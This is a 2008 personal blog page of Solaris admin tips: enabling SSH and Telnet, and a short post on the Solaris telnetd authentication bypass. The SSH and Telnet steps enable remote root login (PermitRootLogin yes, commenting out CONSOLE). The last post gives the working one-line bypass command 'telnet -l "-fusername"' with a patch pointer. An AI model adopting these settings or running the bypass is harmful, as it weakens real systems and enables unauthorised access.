Welcome

Hello,

Welcome to this blog. A collection of best ideas with varied interests will be published on this blog. Ideas will match for many solutions mainly into Technology. So feel free to find your post to read online be your mood happy or sad.

Navigate through the list of lable's. Please do drop your valuable comments if you like or dislike any post[s].

Hope you will find and learn good stuff here.

Thanks
Jagadeesh
Showing posts with label Solaris. Show all posts
Showing posts with label Solaris. Show all posts

Tuesday, June 3, 2008

How to enable SSH in Solaris

To enable "ssh" in solaris do the following steps:

Step1: Edit the /etc/ssh/sshd_config file
vi /etc/ssh/sshd_config
change "PermitRootLogin" argument from no to yes.

Step2: Enable/restart ssh service.
svcadm enable ssh
(or)
svcadm -v enable svc:/network/ssh:default

Troubleshooting:

  • If you face any problem while enabling the ssh service, do properly check the physical network and "/etc/hosts" file.
  • If any line in the "/etc/hosts" file contains "::1" then comment it out and also check the localhost argument.
  • Physical network status must be online when you run the following command to identify the issue: svcs -d ssh
  • If you fail in all the above tips to identify the problem, check the log file it will give a idea:
    cat /var/svc/log/network-ssh\:default.log

Sunday, June 1, 2008

How to enable Telnet in Solaris

To enable TELNET service in Solaris do the following steps:

Step1: Edit the /etc/default/login file
vi /etc/default/login
comment the line "CONSOLE"

Step2: Run the following command to do enable
svcadm enable telnet
(or)
svcadm -v enable svc:/network/telnet:default

Step3: Check the status of the service
svcs | grep telnet

Troubleshooting:
If you face any problem while enabling the telnet service, check the following command output to identify the issue.

svcs -l telnet
(or)
svcs -d telnet

Solaris Telnet Authentication Bypass

In some Solaris versions, the telnet daemon allows authentication bypass.

Following example will log in you to the system with the user "username" without asking for credentials.

telnet -l "-fusername" [hostname]

Example:

  1. telnet -l "-ftestuser" SolarisAdminServer
Hint:
To fix this bug/issue, go ahead and install all the Solaris patches for that particular version using this link Patches and Updates .